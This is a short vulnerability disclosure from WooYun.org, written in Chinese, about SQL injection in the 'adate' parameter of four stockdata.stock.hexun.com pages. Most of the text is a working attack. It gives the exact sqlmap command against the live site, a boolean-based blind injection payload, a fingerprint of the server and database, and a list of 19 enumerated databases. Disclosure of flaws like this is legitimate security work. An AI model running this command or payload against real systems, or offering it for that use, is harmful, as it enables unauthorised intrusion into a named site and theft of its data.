WooYun.org

核心数据，19个库，未遍历表！
通知存在注入点，未做进一步测试！
以下4个url都存在sql注入漏洞，get参数adate存在注入

http://stockdata.stock.hexun.com/2008en/zcfz.aspx?adate=2012.12.31&stockid=000001&type=0
http://stockdata.stock.hexun.com/2008en/xjll.aspx?adate=2012.12.31&stockid=000001&type=0
http://stockdata.stock.hexun.com/2008en/lr.aspx?adate=2012.12.31&stockid=600643&type=0
http://stockdata.stock.hexun.com/2008en/cwbl.aspx?adate=2012.12.31&stockid=000001&type=0

python sqlmap.py -u "http://stockdata.stock.hexun.com/2008en/zcfz.aspx?adate=2012.12.31&stockid=000001&type=0" -p "adate" --batch --dbs

sqlmap identified the following injection points with a total of 464 HTTP(s) requests:
---
Place: GET
Parameter: adate
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: adate=2012.12.31' AND 7822=7822 AND 'AzbN'='AzbN&stockid=000001&type=0
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
available databases [19]:
[*] DB_ANOTHER
[*] DB_BASE
[*] DB_BASE_HK
[*] DB_FUND
[*] DB_FYB2011
[*] DB_INDEX
[*] DB_INFO
[*] DB_LEAGUER
[*] DB_MACROECO
[*] DB_OTHER
[*] DB_STOCK
[*] DB_TARGET
[*] DB_VALUEADD
[*] DB_WEB
[*] distribution
[*] master
[*] model
[*] msdb
[*] tempdb